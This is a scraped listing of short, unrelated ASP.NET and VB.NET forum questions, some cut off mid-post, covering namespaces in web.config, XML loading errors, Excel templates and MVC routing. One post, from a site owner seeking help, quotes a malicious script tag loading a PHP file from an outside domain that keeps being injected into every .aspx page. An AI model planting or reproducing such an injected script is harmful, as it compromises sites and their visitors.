I need to add this namespace to my c# file:
using System.Data;
Is there a way to automatically add this to newly created pages in c#.net?
I don't want to add this namespace to new pages.
I am using vs2008 vb code behind. I am currently receiving an object through a web service that I serialize into xml. What I'd like to do after that is remove the namespaces, and add nodes to sort of customize my own xml doc. I am getting an error on this
Code:
Dim DOC1 As New XmlDocument
Dim STR As String
STR = ConvertObjectToXmlString(HODRes).ToString
DOC1.LoadXml(STR)
[Code] ....
The error I get is:
Server Error in '/RateAudit' Application.
________________________________
Data at the root level is invalid. Line 1, position 1.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
Exception Details: System.Xml.XmlException: Data at the root level is invalid. Line 1, position 1.
Source Error:
Line 109: Dim STR As String
Line 110: STR = ConvertObjectToXmlString(HODRes).ToString
Line 111: DOC1.LoadXml(STR)
Line 112:
Line 113:
I am running .net 4.0 asp.net app on IIS 7. I want to know if there is an easy way of adding rows to an excel 2007/2010 (not too fussed) template file that a user can download from the server.
For example, the user might check a couple of tick boxes and clicks a button on the web page. The server does a sql query on a table and comes back with the results. I have an excel file with some headings, column titles, formatting etc. on the web app's resources directory. I want to make a copy of this file, insert each of the results as a row into this file (insert first name into cell A3, last name into cell B3 etc.). And make it available for the user to save on their disk.
Since Excel (xls) format is an "Open format", I was wondering how easy/straight forward this would be. Is it a matter of loading the excel XML DOM and inserting XML elements? What are libraries I need to use?
an unknown script tag is adding automatically to all my webforms(.aspx) and its giving me error in the page,
the script is like this::
</asp:Content>
<script src=http://koyalonline.com/addons/yas/ohwdhkn.php ></script>
when i delete all the pages and if i upload new pages from my system to remote server, then for one day it will run properly but after one day a new script which is shown above will automatically added to the end of every form...
i was wondering if anyone could help me with a problem i have. im not sure how to go about this exactly i have a web site for a group of ramblers
i have a master/details page which shows walks planned for the future and they can click "details" for the full details
but what i want to incorporate into it is that when they are looking at the full details there is an option to add them to it as attending by entering a user name and password (saved in a table in the database) and if entered correctly their username will be added to it as attending.
By default, links are created without the forward slash suffixed to the end. It is per our company standards to always have this trailing slash. Is it possible, via a configuration or whatever, to automatically have a forward slash whenever these methods are called?
View 2 RepliesA while ago when i started using VS 2005, i found that some assembly entries were automatically added to from web.config
and i was getting annoying errors. later i found i have added unneccessary references in my application. And its a feature that assembly reference are automatically added to assembly tag in Web.config, So dev don't have to worry about it.
Recently i used Interop.OWC11.dll in my application. And ^&*# got the annoying
"CS0234: The type or namespace name 'Office' does not exist in the namespace 'Microsoft' (are you missing an assembly reference?)"
error again.. Assembly entry was not added automatically. I checked same for existing references in my application, for them to automatic entries is not happening.... ? :(
I have to write is down in Web.config manually... I don't understand why?....
I'm using nested master pages for my site, is there a way I can use the namespaces once in the master?Currently I have to add the namespaces to whichever page I need them in.
View 1 RepliesI have a web site that was done in asp.net 2.0 along with visual studio 2005. I've recently upgraded to VS 2008 and I'm haveing an issue with the namespaces in the web.config file not registering. Specifically, references to system.web and microsoft.visualbasic.
View 3 RepliesI've recently switched over to using the Razor view engine, and I want to specify a namespace to use in a view. I've tried adding an entry to the Web.config file, ie:
[Code]....
But none of my views recognise any of the classes inside that namespace, so I have to declare the namespace in every view that needs it. why the Web.config approach isn't working?
what are the namespaces that should be well known by a fresher to initiate asp.net learning, what is the main use of a namespace. what is the use of 'args'
View 4 RepliesASP.NET MVC's MapRoute method has a parameter named namespaces. From looking in the code, I see that this parameter is saved in the Route object
in DataTokens["Namespaces"].
It seems to me that it has some meaning... anyone knows what is it for?
I read an article here to find the solution to my problem. But I found that it is not working for me. Whenever I tries to use any function I have to add same namespace on every page. by doing using System.Web.UI . Can I also use it for namespace that is being created along with an application. i.e. Library is an another namespace that lies in App_Code folder not as an assembly.
[code]......
Is there any way to get them available at Code Behind Page
I'm working on an ASP.NET webapp using the MVP pattern, and as I'm organizing my files I'm wondering - are there conventions on folders within projects and how they relate to namespaces?
I have a bunch of controls and a bunch of pages, and I was going to throw them into Controls and Pages folders with subfolders, but I didn't know if it was bad form to do this if I wasn't also going to seperate them out into namespaces.
im creating a class library, and adding all the necessary references for the source files contained in it.
Now, off the bat, there were over 300 compiler errors complaining about missing namespaces.
The library will now compile after i just added all of the System.* references, however this is obviously not the best way.
I.e. if a classes needs using System.Web.Script;, there is no System.Web.Script reference, how would i find out which one of these references contained it? System.Web didnt.
I am referencing some classes in my _layout.cshtml file and I have the namespaces in my Views/web.config <pages><namespaces> section and the layout page does not resolve. If I put @using statements in the layout page, it works fine. Shouldn't the layout page respect the web.config section?
View 5 RepliesI'm trying to understand the relationship between assemblies, namespaces and classes. Can anyone help explain or point me to a usefule link?
1. I understand that an assembly is typicall a dll or an exe (perhaps other files also). Does each project compilation produce only 1 dll? Or is the number of DLL dictated by something completely different?
2. I read each assembly can contain multiple classes. Asingle assembly can contain classes for multiple namespaces, and asingle namespace can span multiple assemblies.
See the page [URL].
Defining namespaces in web.config works fine with VB.NET, but C# is not recognizing the namespaces.
I have the following code:
[Code]....
I would like the functionality of namespaces inside of a class, as in something that would let me call Step2.Execute() instead of having to put Step2_ in front of a whole bunch of functions. I don't want to have to create separate classes / modules for step1, step2, etc.
Is there a way that I can accomplish namespace functionality from inside a class?
We have a large ASP.NET project which has 100s of BLL classes. In our ObjectDataSources in the UI layer we have typename="". Because we are converting to a web application project, the typename has to include the root namespace of the project. This means we have 1000s of changes to make across lots of files.Are there any better options out there to prevent us from having to do this?
View 1 RepliesWhen i create a class file .vs add some default using statement like (using System;using System.Collections.Generic;) .But now i expect vs add using System.Configuration by default.
View 2 RepliesIf MVC application has multiple projects (The solution may grow large in future). These projects may share controllers such as application controller accouts controller and there may also be a situation in which namespace of one project is shared by other project. What is the best way of implementing such solution. One approach may be to use areas.
View 4 RepliesIs there any way to seperate development of different modules in a application other than using namespaces? I want to be able to define interfaces between the modules and unit test them seperately.
View 2 RepliesI am working on a web project in Visual Studio 2010 with ASP.NET 4.0/C# 4.0.My requirement is to remove all the namespace referenced from codebehind in C# and put it in web.config.
As per the link, [URL], from MSDN I added the namspaces to web.config.
Now my web.config will look like this.
[code]....
I keep getting the error: Error message: CS0101: The namespace '<global namespace>' already contains a definition for 'checkvalue'. Then, I rename the Inherits from the @page directive in both the .aspx and .aspx.cs pages and it works! My website has only 2 pages, and both use the same class (same class name, exactly same syntax) but it has been copied and pasted and the 2 aspx pages (and aspx.cs pages) are not referencing each other. In other words, both aspx.cs pages (called page1.aspx.cs and page2.aspx.cs) has the class
public class CheckValue
{
//content
return true;
}
Both the aspx pages reference the 'inherits' files seperately:
<%@ Page Language="C#" CodeFile="page1.aspx.cs" Inherits="_1" %>
and my code behind
public partial class _1 : System.Web.UI.Page
and for my second page
<%@ Page Language="C#" CodeFile="page2.aspx.cs" Inherits="_2" %>
and my code behind
public partial class _2 : System.Web.UI.Page
I don't use the .resx file. Why does this error happen some times, and not other times?
